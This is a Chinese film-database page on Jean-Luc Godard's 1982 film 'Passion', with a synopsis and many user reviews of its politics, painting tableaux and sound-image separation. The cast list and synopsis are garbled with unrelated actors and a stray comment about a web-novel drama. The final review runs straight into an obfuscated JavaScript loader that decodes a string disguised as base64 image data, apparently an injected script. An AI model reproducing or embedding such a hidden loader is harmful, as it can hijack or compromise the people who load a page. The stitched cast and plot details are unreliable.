受难记_Godard's Passion / 激情
别名
:Godard's Passion / 激情简介:
受难记是一部超级优秀的
剧情 喜剧 剧情片 ,上线于
1982 年, 波兰电影导演杰西在法国为电视台拍摄影片时陷入困境。他不仅严重超支,丧失灵感;而且这部叫做“情欲”...
详情斯特凡妮·布兰科德,瓦莱丽亚·布鲁尼·泰德斯基,英迪亚·海尔,埃利·斯帕尼奥罗,达利·本萨拉赫,班哲明·比欧雷,艾瑞克·拉夫,托马斯·维瑟尔,让-弗朗索瓦·斯泰弗南,路易斯·根斯
黄子华,谢君豪,王丹妮,廖子妤,王敏德,何启华,杨偲泳,栢天男,林保怡,谷德昭,罗孝勇,莫然,徐浩昌,洪林小湛,韩毓霞,麦子云,甄懋强,陈郁宪,周志辉,麦振江
吴卓羲,汤怡,潘灿良,何珮瑜,林盛斌,孙慧雪,张建声
Nicole,Corbin,Steve,LuKanic
彼得·萨斯加德,杰瑞米·雷乃,艾米莉·莫迪默,克洛德·里什,利亚姆·坎宁安
RichardDavis,EdwardStoneyRobinson
豆瓣评分
8.0。类型为剧情,喜剧,剧情片的。该片在
法国 地区拍摄完成,独有的
法语 语言版本。
受难记是一部超级优秀的
剧情 喜剧 剧情片 ,该剧情片的关键看点是:
受难记Godard's Passion / 激情;
波兰电影导演杰西在法国为电视台拍摄影片时陷入困境。他不仅严重超支,丧失灵感;而且这部叫做“情欲”的片子变得死气沉沉苍白无力。电影摄制组下榻的旅馆为汉娜所拥有。她和米歇尔同住。米歇尔自己开工厂,最近解雇了清洁工伊莎贝拉。汉娜和伊莎贝拉都为导演杰西所着迷,旅店的女仆都辞去工作,争做临时演员。人们问导演影片的故事何在:女人们宽衣解带,临时演员在场外互相爱抚。导演感到纳闷:为什么一定要有故事呢叔嫂,强制,额,就是十来年前小网文。来看女主的,打个四星,本来只想给三星的,男主演技还需要磨炼,有点用力过猛的感觉
一个摄制组在一个村子里拍片,导演未能为影片找到合适的光线。拍摄工作耽搁下来。为影片投资的人都感到焦虑不安,更何况这部名为《情欲》的影片没有什么故事情节……在当地的工厂里也发生了冲突,老板解雇了一个想要成立工会小组的女工。这位女工希望导演对她的问题发生兴趣,而导演希望摄制组所住旅馆的老板娘在他的影片演出。工作和情欲交织在一起……
其中
让-吕克·戈达尔伊莎贝尔·于佩尔,汉娜·许古拉,米歇尔·皮科利,耶日·拉齐维沃维奇,拉斯洛·绍博,让-弗朗索瓦·斯泰弗南,米里昂·鲁塞尔还参演了
(我的小公主)(日本的西多妮)(控制的极限)(旅行者的需求)(卡拉瓦乔之影)等让人无法忘怀精彩的影视作品!
评论
受难记|剧情热评
蜂鸟用户: Evilly ☣
8.5/10。①四组人物交织的故事:拍摄电影“受难记”的剧组和没写明确故事线的导演;剧组居住的旅馆的老板娘(和导演暧昧);工厂打工且因刚被解雇而欲组织人罢工的女工人(也和导演暧昧);老板娘生病的丈夫(女工所在的工厂)。②通过台词、画面/故事、剪辑(比如一条故事线进行着却突然切到另一条,这模糊了故事脉络且削弱了戏剧性)、声音等影像元素互相之间的「对位」(类似声画对位那样)谱写了一种超越理性的、非常旋律化的诗意。这种诗意搭配上大量丝滑优美的高水平长镜头运镜/调度、各片场段落如古典油画般华美的摄影美术、大量古典配乐营造了肃穆严峻却又优美浪漫诗意的氛围(较契合两女主与生活斗争的故事,但多少还是有错位)。③主情绪电影不该玩多线并行叙事(问题同质于《不散》)。 蜂鸟用户: snowark
戈达尔声称后者并非电影的必需品,那么,那么可以用堆叠符号的方式评论电影 1:摄影机—装置、摄影机—造型,影片与美术的亲缘性——虚假情愫的短暂触发 2:"左翼的"《八部半》,被电影业忽视的"工厂","新浪潮危机" 3:结尾:闯入"真实"视域的摄影机内元素与通往好莱坞的航班并置 蜂鸟用户: 沁云
期待的是拍片场风云,探讨电影艺术,不料依然是以阶级斗争为纲。不难看,还算有叙事,且渐入佳境(其实是前面看的音化不同步不解其意,原来是手语音轨)。影片很复杂吗,其实戈达尔的思想让人觉得,在重重叠叠多领域全方位的文艺积淀下极单纯,夸大化处理阶级冲突,符号化的压迫斗争,走程序般发泄一通对文艺和工人受难的不平,源源不断的狂想也是单向的——雪中对殴的布尔乔亚,落难艺术家和女革命家的结合...(正题:要是写不出什么用思想深度的剧本不妨学习一下,名画cos、断断续续的古典乐,双主题并行,不能自圆其说没关系其实越脱线越好,还有要强行互文,因为我也看不出西班牙反抗军和里面的“激情”的剧本有什么联系,只是单纯和女工的反抗相照应罢了)——当然,没有这样的美术基础和天赋另说 还有,米里昂鲁塞尔,拥有世间最完美的身体 蜂鸟用户: 谋
电影可以不拍 妞一定要泡 蜂鸟用户: stknight
3D版欧洲大师名画赏析,于佩尔和汉娜许古娜同台飙戏可真难得,两人本色魅力尽显,戈达尔好会用。拉威尔出现得非常惊喜,以至于心猿意马注意力完全在旋律上都顾不上看台词,开头蓝天飞机喷射的BGM好燃,查了下那段在管乐出现之前就掐掉的的钢琴是M83:2 蜂鸟用户: 幸运串茄
假装在拍一部名为《受难记》的电影。乱七八糟的叙事,声画分离到了错位的地步,人物交谈场景和配音经常故意对不上,我数度怀疑是播放设备出问题了。很多次提到“波兰发生的事情”,指向80年初的团结工会大罢工,又是语焉不详掺杂政治事件元素,但表达出的内容又不想让人听懂。 仅有直观的看点是重现多幅古典画作的场面,可以比对电影拍摄与原画作。不穿衣服的姑娘们普遍都很漂亮。 请来伊莎贝尔和汉娜这样的名演员拍片,却浪费她们的表演才能。 蜂鸟用户: 持人的摄影机
影片似乎是个拼图游戏,所有这些人物是毫不相干地并肩前进。他们相互观察、相互畏惧,互相交错,互相冲突,有时则是一些人屈于另一些人。在人物错综复杂的关系发生和发展的整个过程中,戈达尔把他对古典音乐、浪漫派绘画和电影的热爱结合在一起,使影片高度风格化,具有很强的实验性。 蜂鸟用户: 与碟私奔
La passion de Godard c’est de faire coexister ce qui est essentiel dans chaque art dans un même plan 蜂鸟用户: 墓岛GRAVELAND
耶稣受难背负着对世人的爱,而艺术的受难却被金钱与资本挟持,在无产阶级女工与资产阶级妇人之间,在旅馆女工与艺术人物之间,从伦勃朗、安格尔到戈雅和格拉特诺瓦,戈达尔反思了电影本身“光”的价值,政治立场、资本控制和艺术创作,声画错位和碎片叙事的间离效果无不暗指某种困境,自由真会到来么 蜂鸟用户: Landy
#CineLumiere #Jean-LucGodardPerspectives #21032023 #IntrobyTonyRayn #二刷 长评 - 生存还是死亡。影片实际可以以剧情抓马和非剧情叙事分割,也更接近于一刷时的理解。Passion的不同意思也可分别作为两部分的主题,激情与受难,也可以说是波兰与美国,工人与老板,无产与资产,生存与死亡。#CineLumiere #Jean-LucGodardPerspectives #19032023 #一刷 整个故事还是可以看作是一场导演死亡前的受难过程。戏中戏设定,感觉是利用受难的最终结果-死亡把内核放到了一个电影未来的悲观看法上。影片的几条故事线切的实在太随意了。最厉害的是音画分离,完全跨故事表达声音让本来就不明确的故事线模糊的更加厉害。 蜂鸟用户: 十一伏特
大师的东西看不懂也故意说好看 2017/12/31『电影跨年』① 【百度网盘 DVD版在线】可以不用考虑收藏DTBD了😂 蜂鸟用户: Gymnopedie
JLG+许古拉+于佩尔+无数古典名画,太高端了哥有点呼吸困难。。。 蜂鸟用户: 幽灵不会哭
重看。郭达是在主题的基础上构建整部作品。所谓的故事是脊柱,延展整部片的发展。反的不是故事而是为大众所极易吸收的叙事脉络以及情感情绪。表达的主题也不是一些陈词滥调的东西,这是对电影媒介的沉思录。美感没有既定的齁,不然也就不会有好评差评的不同了。 蜂鸟用户: 冰红深蓝
戈达尔彻底放弃叙事之后我确实看晕了,摘抄一段劳拉·穆尔维的分析:“工厂—身体/性—电影这三大主题分别占据了三个清晰的空间,伊莎贝尔饰演的女工人和皮考利饰演的老板代表工厂的空间,汉娜代表女性身体/性,导演杰西代表电影/影像的空间。电影的工作人员、临时演员对应着工厂中的等级制度、劳动分工,电影的世界和工厂的世界相重合。这部电影标志着戈达尔开始远离唯物主义的现代主义(布莱希特式解构、马克思主义),进入了对于艺术和创造性问题本身的探询。戈达尔开始将女性的身体重构为电影道具……电影的结局是从电影的空间和工厂的空间的逃脱,但由女性所代表的身体空间已经被纳入神话故事的幻想式逃脱之中。” 蜂鸟用户: LoudCrazyHeart
工作和愛情,速度節奏不盡相同,姿勢是一樣的。人們出於熱愛而去工作/去愛,卻在情到濃時被(制度、系統、資本…… )澆熄(不斷有人提醒「這是在工作!」),因此「激情」與「受難」構成形影不離的兩面:工廠的對抗追逐一片場的動態畫作。 蜂鸟用户: KUMA
音乐主导了影像,而不是声音主导影像。影像中的人物确确实实沦为棋子,戈达尔的利用手法过于直白。 蜂鸟用户: vivi
戈达尔彻底放弃叙事之后我确实看晕了,摘抄一段劳拉·穆尔维的分析:“工厂—身体/性—电影这三大主题分别占据了三个清晰的空间,伊莎贝尔饰演的女工人和皮考利饰演的老板代表工厂的空间,汉娜代表女性身体/性,导演杰西代表电影/影像的空间。电影的工作人员、临时演员对应着工厂中的等级制度、劳动分工,电影的世界和工厂的世界相重合。这部电影标志着戈达尔开始远离唯物主义的现代主义(布莱希特式解构、马克思主义),进入了对于艺术和创造性问题本身的探询。戈达尔开始将女性的身体重构为电影道具……电影的结局是从电影的空间和工厂的空间的逃脱,但由女性所代表的身体空间已经被纳入神话故事的幻想式逃脱之中。” 蜂鸟用户: 灰小
当Jerzy讲到爱的手势便终于记起他在“Bez końca-1985”中的“爱的手势”。阿姨的结巴和老板外甥女的聋哑特征上相映成趣,身份上对应的则是Hanna Schygulla。爱和工作。你必须找到一个故事。吗?阿姨,Edward Hopper。 蜂鸟用户: Accattone
戈达尔中后期的标志性作品,获戛纳技术大奖。1.高达时隔十余年后再与拉乌尔·库塔尔合作,光影卓绝,运动长镜头行云流水,徐徐穿行于片场的名画搬演场景之中。2.对画作的真人重现以伦勃朗[夜巡]开篇,以埃尔·格列柯[圣母升天]收尾,其余皆为法国和西班牙古典主义与浪漫主义时期作品,如安格尔、戈雅、德·拉·图尔与德拉克洛瓦。3.画作模拟几近凝固又立体可感的特质使其生成了绘画—影像、雕塑—影像和摄影—影像,而很大程度上独立于影像的古典配乐(莫扎特、德沃夏克、贝多芬)及录像带处理(暂停、倒带、逐帧播放)则进一步将跨媒介实验推展至庞杂之境。4.演员由静止摆拍渐次演进为运动奔跑,甚至脱离摄影机掌控,恰与两条交叉剪辑的主线(片场导演vs.制片人,工厂女工vs.老板)中的反抗逃离之姿相契合。5.不少声画分离与画外空间实验。(8.5/10) 蜂鸟用户: lixunhuan
1982年,我一岁,住在中国中部一个没有电的小山村,还要再过三年陈张二人才拍了《黄土地》。而法国人已经拍出了这样的片子!复杂的阶级情怀,没全部看懂,但并不妨碍我喜欢它。永远的戈达尔。!function(){function a(a){var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF 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